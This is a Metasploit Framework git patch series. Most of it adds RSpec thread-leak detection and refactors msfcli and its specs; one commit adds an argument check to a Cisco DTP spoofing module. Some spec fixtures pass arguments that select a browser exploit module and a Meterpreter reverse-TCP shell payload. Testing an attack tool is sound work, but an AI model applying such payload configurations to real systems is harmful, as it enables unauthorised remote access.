From 96990fdc02aefe4f27b547d3607f4e6cce225ff4 Mon Sep 17 00:00:00 2001 From: Luke Imhoff Date: Wed, 5 Nov 2014 14:38:43 -0600 Subject: [PATCH 01/99] Fail before suite if more than 1 thread exists MSP-11147 Detect thread leaks in a `before(:suite)` configured by `Metasploit::Framework::Spec::Threads::Suite.configure!` and fail if any leaks are found. --- lib/metasploit/framework.rb | 4 +++ lib/metasploit/framework/spec.rb | 5 +++ lib/metasploit/framework/spec/threads.rb | 5 +++ .../framework/spec/threads/suite.rb | 35 +++++++++++++++++++ spec/spec_helper.rb | 2 ++ 5 files changed, 51 insertions(+) create mode 100644 lib/metasploit/framework/spec.rb create mode 100644 lib/metasploit/framework/spec/threads.rb create mode 100644 lib/metasploit/framework/spec/threads/suite.rb diff --git a/lib/metasploit/framework.rb b/lib/metasploit/framework.rb index aa488aea2a..a43afdc93c 100644 --- a/lib/metasploit/framework.rb +++ b/lib/metasploit/framework.rb @@ -32,6 +32,10 @@ module Metasploit # works in compatible manner with activerecord's rake tasks and other # railties. module Framework + extend ActiveSupport::Autoload + + autoload :Spec + # Returns the root of the metasploit-framework project. Use in place of # `Rails.root`. # diff --git a/lib/metasploit/framework/spec.rb b/lib/metasploit/framework/spec.rb new file mode 100644 index 0000000000..857c219d43 --- /dev/null +++ b/lib/metasploit/framework/spec.rb @@ -0,0 +1,5 @@ +module Metasploit::Framework::Spec + extend ActiveSupport::Autoload + + autoload :Threads +end \ No newline at end of file diff --git a/lib/metasploit/framework/spec/threads.rb b/lib/metasploit/framework/spec/threads.rb new file mode 100644 index 0000000000..b442a8f4fc --- /dev/null +++ b/lib/metasploit/framework/spec/threads.rb @@ -0,0 +1,5 @@ +module Metasploit::Framework::Spec::Threads + extend ActiveSupport::Autoload + + autoload :Suite +end \ No newline at end of file diff --git a/lib/metasploit/framework/spec/threads/suite.rb b/lib/metasploit/framework/spec/threads/suite.rb new file mode 100644 index 0000000000..acd17d7ed3 --- /dev/null +++ b/lib/metasploit/framework/spec/threads/suite.rb @@ -0,0 +1,35 @@ +module Metasploit::Framework::Spec::Threads::Suite + # + # CONSTANTS + # + + EXPECTED_THREAD_COUNT_BEFORE_SUITE = 1 + + # + # Module Methods + # + + # Configures `before(:suite)` and `after(:suite)` callback to detect thread leaks. + # + # @return [void] + def self.configure! + unless @configured + RSpec.configure do |config| + config.before(:suite) do + thread_count = Thread.list.count + + expect(thread_count).to( + (be <= EXPECTED_THREAD_COUNT_BEFORE_SUITE), + "#{thread_count} #{'thread'.pluralize(thread_count)} exist(s) when " \ + "only #{EXPECTED_THREAD_COUNT_BEFORE_SUITE} #{'thread'.pluralize(EXPECTED_THREAD_COUNT_BEFORE_SUITE)} " \ + "expected before suite runs" + ) + end + end + + @configured = true + end + + @configured + end +end \ No newline at end of file diff --git a/spec/spec_helper.rb b/spec/spec_helper.rb index 1e1092fdec..d7e9db840b 100644 --- a/spec/spec_helper.rb +++ b/spec/spec_helper.rb @@ -55,3 +55,5 @@ RSpec.configure do |config| # instead of true. config.use_transactional_fixtures = true end + +Metasploit::Framework::Spec::Threads::Suite.configure! From 097aa330e1aa6673bffdeee1c721e4f486390bc1 Mon Sep 17 00:00:00 2001 From: Luke Imhoff Date: Wed, 5 Nov 2014 15:34:35 -0600 Subject: [PATCH 02/99] Log caller for each Thread.new for `rake spec` MSP-11147 --- Rakefile | 1 + .../framework/spec/threads/logger.rb | 23 ++++++ .../framework/spec/threads/suite.rb | 82 +++++++++++++------ 3 files changed, 80 insertions(+), 26 deletions(-) create mode 100644 lib/metasploit/framework/spec/threads/logger.rb diff --git a/Rakefile b/Rakefile index c4be0fc98f..3acfdb97bf 100755 --- a/Rakefile +++ b/Rakefile @@ -10,4 +10,5 @@ require 'metasploit/framework/spec/untested_payloads' Metasploit::Framework::Require.optionally_active_record_railtie Metasploit::Framework::Application.load_tasks +Metasploit::Framework::Spec::Threads::Suite.define_task Metasploit::Framework::Spec::UntestedPayloads.define_task diff --git a/lib/metasploit/framework/spec/threads/logger.rb b/lib/metasploit/framework/spec/threads/logger.rb new file mode 100644 index 0000000000..ec67364a55 --- /dev/null +++ b/lib/metasploit/framework/spec/threads/logger.rb @@ -0,0 +1,23 @@ +require 'metasploit/framework/spec/threads/suite' + +original_thread_new = Thread.method(:new) + +# Patches `Thread.new` so that if logs `caller` so thread leaks can be traced +Thread.define_singleton_method(:new) { |*args, &block| + lines = ['BEGIN Thread.new caller'] + + caller.each do |frame| + lines << " #{frame}" + end + + lines << 'END Thread.new caller' + + Metasploit::Framework::Spec::Threads::Suite::LOG_PATHNAME.parent.mkpath + + Metasploit::Framework::Spec::Threads::Suite::LOG_PATHNAME.open('a') { |f| + # single puts so threads can't write in between each other. + f.puts lines.join("\n") + } + + original_thread_new.call(*args, &block) +} \ No newline at end of file diff --git a/lib/metasploit/framework/spec/threads/suite.rb b/lib/metasploit/framework/spec/threads/suite.rb index acd17d7ed3..d123e1554c 100644 --- a/lib/metasploit/framework/spec/threads/suite.rb +++ b/lib/metasploit/framework/spec/threads/suite.rb @@ -1,35 +1,65 @@ -module Metasploit::Framework::Spec::Threads::Suite - # - # CONSTANTS - # +require 'pathname' - EXPECTED_THREAD_COUNT_BEFORE_SUITE = 1 +# @note needs to use explicit nesting. so this file can be loaded directly without loading 'metasploit/framework' which +# allows for faster loading of rake tasks. +module Metasploit + module Framework + module Spec + module Threads + module Suite + # + # CONSTANTS + # - # - # Module Methods - # + # Number of allowed threads when threads are counted in `before(:suite)` + EXPECTED_THREAD_COUNT_BEFORE_SUITE = 1 + # `caller` for all Thread.new calls + LOG_PATHNAME = Pathname.new('log/metasploit/framework/spec/threads/suite.log') - # Configures `before(:suite)` and `after(:suite)` callback to detect thread leaks. - # - # @return [void] - def self.configure! - unless @configured - RSpec.configure do |config| - config.before(:suite) do - thread_count = Thread.list.count + # + # Module Methods + # - expect(thread_count).to( - (be <= EXPECTED_THREAD_COUNT_BEFORE_SUITE), - "#{thread_count} #{'thread'.pluralize(thread_count)} exist(s) when " \ - "only #{EXPECTED_THREAD_COUNT_BEFORE_SUITE} #{'thread'.pluralize(EXPECTED_THREAD_COUNT_BEFORE_SUITE)} " \ - "expected before suite runs" - ) + # Configures `before(:suite)` and `after(:suite)` callback to detect thread leaks. + # + # @return [void] + def self.configure! + unless @configured + RSpec.configure do |config| + config.before(:suite) do + thread_count = Thread.list.count + + # check with if first so that error message can be constructed lazily + if thread_count > EXPECTED_THREAD_COUNT_BEFORE_SUITE + log = LOG_PATHNAME.read() + + raise RuntimeError, + "#{thread_count} #{'thread'.pluralize(thread_count)} exist(s) when " \ + "only #{EXPECTED_THREAD_COUNT_BEFORE_SUITE} " \ + "#{'thread'.pluralize(EXPECTED_THREAD_COUNT_BEFORE_SUITE)} expected before suite runs:\n#{log}" + end + end + end + + @configured = true + end + + @configured + end + + def self.define_task + Rake::Task.define_task('metasploit:framework:spec:threads:suite') do + parent_pathname = Pathname.new(__FILE__).parent + threads_logger_pathname = parent_pathname.join('logger') + load_pathname = parent_pathname.parent.parent.parent.parent.expand_path + + ENV['RUBYOPT'] = "-I#{load_pathname} -r#{threads_logger_pathname} #{ENV['RUBYOPT']}" + end + + Rake::Task.define_task(spec: 'metasploit:framework:spec:threads:suite') + end end end - - @configured = true end - - @configured end end \ No newline at end of file From d66c98b34dc9b4405ef563ae54926412e7f93cde Mon Sep 17 00:00:00 2001 From: Luke Imhoff Date: Wed, 5 Nov 2014 15:51:43 -0600 Subject: [PATCH 03/99] Remove prior log/metasploit/framework/spec/threads/suite.log MSP-11147 --- lib/metasploit/framework/spec/threads/suite.rb | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/lib/metasploit/framework/spec/threads/suite.rb b/lib/metasploit/framework/spec/threads/suite.rb index d123e1554c..a927244c84 100644 --- a/lib/metasploit/framework/spec/threads/suite.rb +++ b/lib/metasploit/framework/spec/threads/suite.rb @@ -49,6 +49,10 @@ module Metasploit def self.define_task Rake::Task.define_task('metasploit:framework:spec:threads:suite') do + if Metasploit::Framework::Spec::Threads::Suite::LOG_PATHNAME.exist? + Metasploit::Framework::Spec::Threads::Suite::LOG_PATHNAME.delete + end + parent_pathname = Pathname.new(__FILE__).parent threads_logger_pathname = parent_pathname.join('logger') load_pathname = parent_pathname.parent.parent.parent.parent.expand_path @@ -57,6 +61,8 @@ module Metasploit end Rake::Task.define_task(spec: 'metasploit:framework:spec:threads:suite') + + Rake::Task.define_task() end end end From c1f1222783567637cc5e6a4f3ad9190c22966b07 Mon Sep 17 00:00:00 2001 From: Luke Imhoff Date: Thu, 6 Nov 2014 09:07:11 -0600 Subject: [PATCH 04/99] Check that threads/suite.log exists before reading MSP-11147 Even with leaked threads, there may be no log if the suite is run without `rake spec`, such as when `rspec` is used directly to run a subset of specs. --- lib/metasploit/framework/spec/threads/suite.rb | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/lib/metasploit/framework/spec/threads/suite.rb b/lib/metasploit/framework/spec/threads/suite.rb index a927244c84..56ae59129d 100644 --- a/lib/metasploit/framework/spec/threads/suite.rb +++ b/lib/metasploit/framework/spec/threads/suite.rb @@ -31,7 +31,10 @@ module Metasploit # check with if first so that error message can be constructed lazily if thread_count > EXPECTED_THREAD_COUNT_BEFORE_SUITE - log = LOG_PATHNAME.read() + # LOG_PATHNAME may not exist if suite run without `rake spec` + if LOG_PATHNAME.exist? + log = LOG_PATHNAME.read() + end raise RuntimeError, "#{thread_count} #{'thread'.pluralize(thread_count)} exist(s) when " \ From 8d06189a19b040916fa9a3f6b481c580b01c3bc4 Mon Sep 17 00:00:00 2001 From: Luke Imhoff Date: Thu, 6 Nov 2014 09:10:04 -0600 Subject: [PATCH 05/99] Tell use to run with `rake spec` to see Thread.new caller MSP-11147 If the log isn't available, tell the user to rerun with `rake spec` instead of printing nothing after the `:\n`, which looks incomplete. --- lib/metasploit/framework/spec/threads/suite.rb | 2 ++ 1 file changed, 2 insertions(+) diff --git a/lib/metasploit/framework/spec/threads/suite.rb b/lib/metasploit/framework/spec/threads/suite.rb index 56ae59129d..f6c6b7ee89 100644 --- a/lib/metasploit/framework/spec/threads/suite.rb +++ b/lib/metasploit/framework/spec/threads/suite.rb @@ -34,6 +34,8 @@ module Metasploit # LOG_PATHNAME may not exist if suite run without `rake spec` if LOG_PATHNAME.exist? log = LOG_PATHNAME.read() + else + log "Run `rake spec` to log where Thread.new is called." end raise RuntimeError, From 8855e0731cc09f7087897a36901bd695296fbdd7 Mon Sep 17 00:00:00 2001 From: Luke Imhoff Date: Thu, 6 Nov 2014 09:11:12 -0600 Subject: [PATCH 06/99] Fix multiline string indentation MSP-11147 --- lib/metasploit/framework/spec/threads/suite.rb | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/lib/metasploit/framework/spec/threads/suite.rb b/lib/metasploit/framework/spec/threads/suite.rb index f6c6b7ee89..ec125116dc 100644 --- a/lib/metasploit/framework/spec/threads/suite.rb +++ b/lib/metasploit/framework/spec/threads/suite.rb @@ -40,8 +40,9 @@ module Metasploit raise RuntimeError, "#{thread_count} #{'thread'.pluralize(thread_count)} exist(s) when " \ - "only #{EXPECTED_THREAD_COUNT_BEFORE_SUITE} " \ - "#{'thread'.pluralize(EXPECTED_THREAD_COUNT_BEFORE_SUITE)} expected before suite runs:\n#{log}" + "only #{EXPECTED_THREAD_COUNT_BEFORE_SUITE} " \ + "#{'thread'.pluralize(EXPECTED_THREAD_COUNT_BEFORE_SUITE)} expected before suite runs:\n" \ + "#{log}" end end end From 8f635a1d76f8e63d5a0d75bb09c48d3fe139a16d Mon Sep 17 00:00:00 2001 From: Luke Imhoff Date: Thu, 6 Nov 2014 09:11:31 -0600 Subject: [PATCH 07/99] Remove empty define_task MSP-11147 --- lib/metasploit/framework/spec/threads/suite.rb | 2 -- 1 file changed, 2 deletions(-) diff --git a/lib/metasploit/framework/spec/threads/suite.rb b/lib/metasploit/framework/spec/threads/suite.rb index ec125116dc..8608523bf6 100644 --- a/lib/metasploit/framework/spec/threads/suite.rb +++ b/lib/metasploit/framework/spec/threads/suite.rb @@ -67,8 +67,6 @@ module Metasploit end Rake::Task.define_task(spec: 'metasploit:framework:spec:threads:suite') - - Rake::Task.define_task() end end end From 8416985c9d0569b2834780f392e292653447f8a7 Mon Sep 17 00:00:00 2001 From: Luke Imhoff Date: Thu, 6 Nov 2014 14:05:35 -0600 Subject: [PATCH 08/99] Give Threads UUIDs for spec run so caller can be correlated Have 'metasploit/framework/spec/threads/suite/logger' generate a UUID for each Thread. This UUID is printed on the "BEGIN Thread.new caller" line and is assigned as a thread-local variable, 'metasploit/framework/spec/threads/logger/uuid'. In `after(:suite)`, the log can be parsed to map the caller back to each UUID and then only the UUID of the still existing threads is used to look up the caller and print their stacktraces. This means only leaked threads callers will be printed. --- .../framework/spec/threads/logger.rb | 22 ++- .../framework/spec/threads/suite.rb | 136 +++++++++++++++++- 2 files changed, 151 insertions(+), 7 deletions(-) diff --git a/lib/metasploit/framework/spec/threads/logger.rb b/lib/metasploit/framework/spec/threads/logger.rb index ec67364a55..88fe58d946 100644 --- a/lib/metasploit/framework/spec/threads/logger.rb +++ b/lib/metasploit/framework/spec/threads/logger.rb @@ -1,10 +1,22 @@ +# +# Standard Library +# + +require 'securerandom' + +# +# Project +# + require 'metasploit/framework/spec/threads/suite' original_thread_new = Thread.method(:new) # Patches `Thread.new` so that if logs `caller` so thread leaks can be traced Thread.define_singleton_method(:new) { |*args, &block| - lines = ['BEGIN Thread.new caller'] + uuid = SecureRandom.uuid + # tag caller with uuid so that only leaked threads caller needs to be printed + lines = ["BEGIN Thread.new caller (#{uuid})"] caller.each do |frame| lines << " #{frame}" @@ -19,5 +31,11 @@ Thread.define_singleton_method(:new) { |*args, &block| f.puts lines.join("\n") } - original_thread_new.call(*args, &block) + options = {original_args: args, uuid: uuid} + + original_thread_new.call(options) { + # record uuid for thread-leak detection can used uuid to correlate log with this thread. + Thread.current[Metasploit::Framework::Spec::Threads::Suite::UUID_THREAD_LOCAL_VARIABLE] = options.fetch(:uuid) + block.call(*options.fetch(:original_args)) + } } \ No newline at end of file diff --git a/lib/metasploit/framework/spec/threads/suite.rb b/lib/metasploit/framework/spec/threads/suite.rb index 8608523bf6..132624847d 100644 --- a/lib/metasploit/framework/spec/threads/suite.rb +++ b/lib/metasploit/framework/spec/threads/suite.rb @@ -11,10 +11,14 @@ module Metasploit # CONSTANTS # - # Number of allowed threads when threads are counted in `before(:suite)` - EXPECTED_THREAD_COUNT_BEFORE_SUITE = 1 + # Number of allowed threads when threads are counted in `after(:suite)` or `before(:suite)` + EXPECTED_THREAD_COUNT_AROUND_SUITE = 1 # `caller` for all Thread.new calls LOG_PATHNAME = Pathname.new('log/metasploit/framework/spec/threads/suite.log') + # Regular expression for extracting the UUID out of {LOG_PATHNAME} for each Thread.new caller block + UUID_REGEXP = /BEGIN Thread.new caller \((?.*)\)/ + # Name of thread local variable that Thread UUID is stored + UUID_THREAD_LOCAL_VARIABLE = "metasploit/framework/spec/threads/logger/uuid" # # Module Methods @@ -30,7 +34,7 @@ module Metasploit thread_count = Thread.list.count # check with if first so that error message can be constructed lazily - if thread_count > EXPECTED_THREAD_COUNT_BEFORE_SUITE + if thread_count > EXPECTED_THREAD_COUNT_AROUND_SUITE # LOG_PATHNAME may not exist if suite run without `rake spec` if LOG_PATHNAME.exist? log = LOG_PATHNAME.read() @@ -40,10 +44,61 @@ module Metasploit raise RuntimeError, "#{thread_count} #{'thread'.pluralize(thread_count)} exist(s) when " \ - "only #{EXPECTED_THREAD_COUNT_BEFORE_SUITE} " \ - "#{'thread'.pluralize(EXPECTED_THREAD_COUNT_BEFORE_SUITE)} expected before suite runs:\n" \ + "only #{EXPECTED_THREAD_COUNT_AROUND_SUITE} " \ + "#{'thread'.pluralize(EXPECTED_THREAD_COUNT_AROUND_SUITE)} expected before suite runs:\n" \ "#{log}" end + + LOG_PATHNAME.parent.mkpath + + LOG_PATHNAME.open('a') do |f| + # separator so after(:suite) can differentiate between threads created before(:suite) and during the + # suites + f.puts 'before(:suite)' + end + end + + config.after(:suite) do + LOG_PATHNAME.parent.mkpath + + LOG_PATHNAME.open('a') do |f| + # separator so that a flip flop can be used when reading the file below. Also useful if it turns + # out any threads are being created after this callback, which could be the case if another + # after(:suite) accidentally created threads by creating an Msf::Simple::Framework instance. + f.puts 'after(:suite)' + end + + thread_list = Thread.list + + thread_uuids = thread_list.map { |thread| + thread[Metasploit::Framework::Spec::Threads::Suite::UUID_THREAD_LOCAL_VARIABLE] + }.compact + + thread_count = thread_list.count + + if thread_count > EXPECTED_THREAD_COUNT_AROUND_SUITE + error_lines = [] + + if LOG_PATHNAME.exist? + caller_by_thread_uuid = Metasploit::Framework::Spec::Threads::Suite.caller_by_thread_uuid + + thread_uuids.each do |thread_uuid| + caller = caller_by_thread_uuid[thread_uuid] + + error_lines << "Thread #{thread_uuid}\n" + + error_lines.concat(caller) + end + else + error_lines << "Run `rake spec` to log where Thread.new is called." + end + + raise RuntimeError, + "#{thread_count} #{'thread'.pluralize(thread_count)} exist(s) when only " \ + "#{EXPECTED_THREAD_COUNT_AROUND_SUITE} " \ + "#{'thread'.pluralize(EXPECTED_THREAD_COUNT_AROUND_SUITE)} expected after suite runs:\n" \ + "#{error_lines.join}" + end end end @@ -68,6 +123,77 @@ module Metasploit Rake::Task.define_task(spec: 'metasploit:framework:spec:threads:suite') end + + # @note Ensure {LOG_PATHNAME} exists before calling. + # + # Yields each line of {LOG_PATHNAME} that happened during the suite run. + # + # @yield [line] + # @yieldparam line [String] a line in the {LOG_PATHNAME} between `before(:suite)` and `after(:suite)` + # @yieldreturn [void] + def self.each_suite_line + in_suite = false + + LOG_PATHNAME.each_line do |line| + if in_suite + if line.start_with?('after(:suite)') + break + else + yield line + end + else + if line.start_with?('before(:suite)') + in_suite = true + end + end + end + end + + # @note Ensure {LOG_PATHNAME} exists before calling. + # + # Yield each line for each Thread UUID gathered during the suite run. + # + # @yield [uuid, line] + # @yieldparam uuid [String] the UUID of thread thread + # @yieldparam line [String] a line in the `caller` for the given `uuid` + # @yieldreturn [void] + def self.each_thread_line + in_thread_caller = false + uuid = nil + + each_suite_line do |line| + if in_thread_caller + if line.start_with?('END Thread.new caller') + in_thread_caller = false + next + else + yield uuid, line + end + else + match = line.match(UUID_REGEXP) + + if match + in_thread_caller = true + uuid = match[:uuid] + end + end + end + end + + # The `caller` for each Thread UUID. + # + # @return [Hash{String => Array}] + def self.caller_by_thread_uuid + lines_by_thread_uuid = Hash.new { |hash, uuid| + hash[uuid] = [] + } + + each_thread_line do |uuid, line| + lines_by_thread_uuid[uuid] << line + end + + lines_by_thread_uuid + end end end end From 7ed11ffd52d502ef31d7dbca99f04dea4c62cacf Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Mon, 10 Nov 2014 10:14:47 -0800 Subject: [PATCH 09/99] Check for INTERFACE or SMAC in dtp setup --- modules/auxiliary/spoof/cisco/dtp.rb | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/modules/auxiliary/spoof/cisco/dtp.rb b/modules/auxiliary/spoof/cisco/dtp.rb index 7c02c08943..1dc7c4f231 100644 --- a/modules/auxiliary/spoof/cisco/dtp.rb +++ b/modules/auxiliary/spoof/cisco/dtp.rb @@ -31,6 +31,13 @@ class Metasploit3 < Msf::Auxiliary deregister_options('RHOST', 'PCAPFILE') end + def setup + super + unless datastore['SMAC'] || datastore['INTERFACE'] + raise ArgumentError, 'Must specify SMAC or INTERFACE' + end + end + def build_dtp_frame p = PacketFu::EthPacket.new p.eth_daddr = '01:00:0c:cc:cc:cc' From eede74be1ebeea51fce16e8cd562e74d061a1a11 Mon Sep 17 00:00:00 2001 From: Luke Imhoff Date: Tue, 11 Nov 2014 11:49:48 -0600 Subject: [PATCH 10/99] Extract 'Msf::Framework#threads cleaner' MSP-11147 Extract from 'Msf::Simple::Framework' the `after(:each)` that kills and joins threads from `framework.threads` into 'Msf::Framework#threads cleaner`. --- .../contexts/msf/framework/threads/cleaner.rb | 16 ++++++++++++++++ .../shared/contexts/msf/simple/framework.rb | 17 ++--------------- 2 files changed, 18 insertions(+), 15 deletions(-) create mode 100644 spec/support/shared/contexts/msf/framework/threads/cleaner.rb diff --git a/spec/support/shared/contexts/msf/framework/threads/cleaner.rb b/spec/support/shared/contexts/msf/framework/threads/cleaner.rb new file mode 100644 index 0000000000..2c018f59aa --- /dev/null +++ b/spec/support/shared/contexts/msf/framework/threads/cleaner.rb @@ -0,0 +1,16 @@ +shared_context 'Msf::Framework#threads cleaner' do + after(:each) do + # explicitly kill threads so that they don't exhaust connection pool + thread_manager = framework.threads + + thread_manager.each do |thread| + thread.kill + # ensure killed thread is cleaned up by VM + thread.join + end + + thread_manager.monitor.kill + # ensure killed thread is cleaned up by VM + thread_manager.monitor.join + end +end \ No newline at end of file diff --git a/spec/support/shared/contexts/msf/simple/framework.rb b/spec/support/shared/contexts/msf/simple/framework.rb index 91dd87dc68..5e4a9f57cc 100644 --- a/spec/support/shared/contexts/msf/simple/framework.rb +++ b/spec/support/shared/contexts/msf/simple/framework.rb @@ -3,6 +3,8 @@ require 'msf/base/simple/framework' require 'metasploit/framework' shared_context 'Msf::Simple::Framework' do + include_context 'Msf::Framework#threads cleaner' + let(:dummy_pathname) do Rails.root.join('spec', 'dummy') end @@ -26,19 +28,4 @@ shared_context 'Msf::Simple::Framework' do after(:each) do dummy_pathname.rmtree end - - after(:each) do - # explicitly kill threads so that they don't exhaust connection pool - thread_manager = framework.threads - - thread_manager.each do |thread| - thread.kill - # ensure killed thread is cleaned up by VM - thread.join - end - - thread_manager.monitor.kill - # ensure killed thread is cleaned up by VM - thread_manager.monitor.join - end end From cf0ecd036756e9deb88c05e8a8606a35cc49eb2a Mon Sep 17 00:00:00 2001 From: Luke Imhoff Date: Tue, 11 Nov 2014 12:02:14 -0600 Subject: [PATCH 11/99] Fix thread leaks in TaskManager spec MSP-11147 --- spec/lib/msf/core/task_manager_spec.rb | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) diff --git a/spec/lib/msf/core/task_manager_spec.rb b/spec/lib/msf/core/task_manager_spec.rb index 3271df1741..ba664c6ca3 100644 --- a/spec/lib/msf/core/task_manager_spec.rb +++ b/spec/lib/msf/core/task_manager_spec.rb @@ -4,10 +4,7 @@ require 'msf/core' require 'msf/core/task_manager' describe Msf::TaskManager do - - let(:framework) do - Msf::Framework.new - end + include_context 'Msf::Simple::Framework' let(:tm) do Msf::TaskManager.new(framework) From 36ab73b83aa3f3b7e056e88fd9f0bf5aef75afbf Mon Sep 17 00:00:00 2001 From: Luke Imhoff Date: Tue, 11 Nov 2014 12:25:14 -0600 Subject: [PATCH 12/99] Extract Msfcli#framework MSP-11147 Expose Msfcli @framework as Msfcli#framework so that it can be set in tests. It also allows Msfcli#framework to lazily initialize and memoize to @framework. --- msfcli | 50 ++++++++++++++++++++++++++++++++++---------------- 1 file changed, 34 insertions(+), 16 deletions(-) diff --git a/msfcli b/msfcli index e67530e713..78759116d7 100755 --- a/msfcli +++ b/msfcli @@ -16,10 +16,21 @@ require 'rex' class Msfcli + # + # Attributes + # + + # @attribute framework + # @return [Msf::Simple::Framework] + attr_writer :framework + + # + # initialize + # + def initialize(args) @args = {} @indent = ' ' - @framework = nil @args[:module_name] = args.shift # First argument should be the module name @args[:mode] = args.pop || 'h' # Last argument should be the mode @@ -31,6 +42,14 @@ class Msfcli end end + # + # Instance Methods + # + + def framework + @framework ||= Msf::Simple::Framework.create({'DeferModuleLoads'=>true}) + end + # # Returns a usage Rex table # @@ -283,7 +302,6 @@ class Msfcli # Initializes exploit/payload/encoder/nop modules. # def init_modules - @framework = Msf::Simple::Framework.create({'DeferModuleLoads'=>true}) $stdout.puts "[*] Initializing modules..." module_name = @args[:module_name] @@ -297,11 +315,11 @@ class Msfcli whitelist = generate_whitelist # Load up all the possible modules, this is where things get slow again - @framework.init_module_paths({:whitelist=>whitelist}) - if (@framework.modules.module_load_error_by_path.length > 0) + framework.init_module_paths({:whitelist=>whitelist}) + if (framework.modules.module_load_error_by_path.length > 0) print("Warning: The following modules could not be loaded!\n\n") - @framework.modules.module_load_error_by_path.each do |path, error| + framework.modules.module_load_error_by_path.each do |path, error| print("\t#{path}: #{error}\n\n") end @@ -310,16 +328,16 @@ class Msfcli # Determine what type of module it is if module_name =~ /exploit\/(.*)/ - modules[:module] = @framework.exploits.create($1) + modules[:module] = framework.exploits.create($1) elsif module_name =~ /auxiliary\/(.*)/ - modules[:module] = @framework.auxiliary.create($1) + modules[:module] = framework.auxiliary.create($1) elsif module_name =~ /post\/(.*)/ - modules[:module] = @framework.post.create($1) + modules[:module] = framework.post.create($1) else - modules[:module] = @framework.exploits.create(module_name) + modules[:module] = framework.exploits.create(module_name) if modules[:module].nil? # Try falling back on aux modules - modules[:module] = @framework.auxiliary.create(module_name) + modules[:module] = framework.auxiliary.create(module_name) end end @@ -342,7 +360,7 @@ class Msfcli # Create the payload to use if (modules[:module].datastore['PAYLOAD']) - modules[:payload] = @framework.payloads.create(modules[:module].datastore['PAYLOAD']) + modules[:payload] = framework.payloads.create(modules[:module].datastore['PAYLOAD']) if modules[:payload] modules[:payload].datastore.import_options_from_s(@args[:params].join('_|_'), '_|_') end @@ -350,7 +368,7 @@ class Msfcli # Create the encoder to use if modules[:module].datastore['ENCODER'] - modules[:encoder] = @framework.encoders.create(modules[:module].datastore['ENCODER']) + modules[:encoder] = framework.encoders.create(modules[:module].datastore['ENCODER']) if modules[:encoder] modules[:encoder].datastore.import_options_from_s(@args[:params].join('_|_'), '_|_') end @@ -358,7 +376,7 @@ class Msfcli # Create the NOP to use if modules[:module].datastore['NOP'] - modules[:nop] = @framework.nops.create(modules[:module].datastore['NOP']) + modules[:nop] = framework.nops.create(modules[:module].datastore['NOP']) if modules[:nop] modules[:nop].datastore.import_options_from_s(@args[:params].join('_|_'), '_|_') end @@ -454,7 +472,7 @@ class Msfcli Msf::Ui::Console::Driver::DefaultPrompt, Msf::Ui::Console::Driver::DefaultPromptChar, { - 'Framework' => @framework, + 'Framework' => framework, # When I use msfcli, chances are I want speed, so ASCII art fanciness # probably isn't much of a big deal for me. 'DisableBanner' => true @@ -474,7 +492,7 @@ class Msfcli con.run_single("exploit") # If we have sessions or jobs, keep running - if @framework.sessions.length > 0 or @framework.jobs.length > 0 + if framework.sessions.length > 0 or framework.jobs.length > 0 con.run else con.run_single("quit") @@ -558,7 +576,7 @@ class Msfcli end # Process special var/val pairs... - Msf::Ui::Common.process_cli_arguments(@framework, @args[:params]) + Msf::Ui::Common.process_cli_arguments(framework, @args[:params]) engage_mode(modules) $stdout.puts From 86379db65ce0ed30b02be49232f416616dc116b3 Mon Sep 17 00:00:00 2001 From: Luke Imhoff Date: Tue, 11 Nov 2014 12:32:22 -0600 Subject: [PATCH 13/99] Remove incorrect 'Class methods' context MSP-11147 --- spec/msfcli_spec.rb | 660 ++++++++++++++++++++++---------------------- 1 file changed, 329 insertions(+), 331 deletions(-) diff --git a/spec/msfcli_spec.rb b/spec/msfcli_spec.rb index 4f21ff5d49..c0b01956d3 100644 --- a/spec/msfcli_spec.rb +++ b/spec/msfcli_spec.rb @@ -22,145 +22,144 @@ describe Msfcli do fake.string end - context "Class methods" do - context ".initialize" do - it "should give me the correct module name in key :module_name after object initialization" do - args = "multi/handler payload=windows/meterpreter/reverse_tcp lhost=127.0.0.1 E" - cli = Msfcli.new(args.split(' ')) - cli.instance_variable_get(:@args)[:module_name].should eq('multi/handler') - end - - it "should give me the correct mode in key :mode after object initialization" do - args = "multi/handler payload=windows/meterpreter/reverse_tcp lhost=127.0.0.1 E" - cli = Msfcli.new(args.split(' ')) - cli.instance_variable_get(:@args)[:mode].should eq('E') - end - - it "should give me the correct module parameters after object initialization" do - args = "multi/handler payload=windows/meterpreter/reverse_tcp lhost=127.0.0.1 E" - cli = Msfcli.new(args.split(' ')) - cli.instance_variable_get(:@args)[:params].should eq(['payload=windows/meterpreter/reverse_tcp', 'lhost=127.0.0.1']) - end - - it "should give me an exploit name without the prefix 'exploit'" do - args = "exploit/windows/browser/ie_cbutton_uaf payload=windows/meterpreter/reverse_tcp lhost=127.0.0.1 E" - cli = Msfcli.new(args.split(' ')) - cli.instance_variable_get(:@args)[:module_name].should eq("windows/browser/ie_cbutton_uaf") - end - - it "should give me an exploit name without the prefix 'exploits'" do - args = "exploits/windows/browser/ie_cbutton_uaf payload=windows/meterpreter/reverse_tcp lhost=127.0.0.1 E" - cli = Msfcli.new(args.split(' ')) - cli.instance_variable_get(:@args)[:module_name].should eq("windows/browser/ie_cbutton_uaf") - end - - it "should set mode 's' (summary)" do - args = "multi/handler payload=windows/meterpreter/reverse_tcp s" - cli = Msfcli.new(args.split(' ')) - cli.instance_variable_get(:@args)[:mode].should eq('s') - end - - it "should set mode 'h' (help) as default" do - args = "multi/handler" - cli = Msfcli.new(args.split(' ')) - cli.instance_variable_get(:@args)[:mode].should eq('h') - end + context ".initialize" do + it "should give me the correct module name in key :module_name after object initialization" do + args = "multi/handler payload=windows/meterpreter/reverse_tcp lhost=127.0.0.1 E" + cli = Msfcli.new(args.split(' ')) + cli.instance_variable_get(:@args)[:module_name].should eq('multi/handler') end - context ".usage" do - it "should see a help menu" do - out = get_stdout { - cli = Msfcli.new([]) - cli.usage - } - out.should =~ /Usage/ - end + it "should give me the correct mode in key :mode after object initialization" do + args = "multi/handler payload=windows/meterpreter/reverse_tcp lhost=127.0.0.1 E" + cli = Msfcli.new(args.split(' ')) + cli.instance_variable_get(:@args)[:mode].should eq('E') end - # - # This one is slow because we're loading all modules - # - context ".dump_module_list" do - include_context 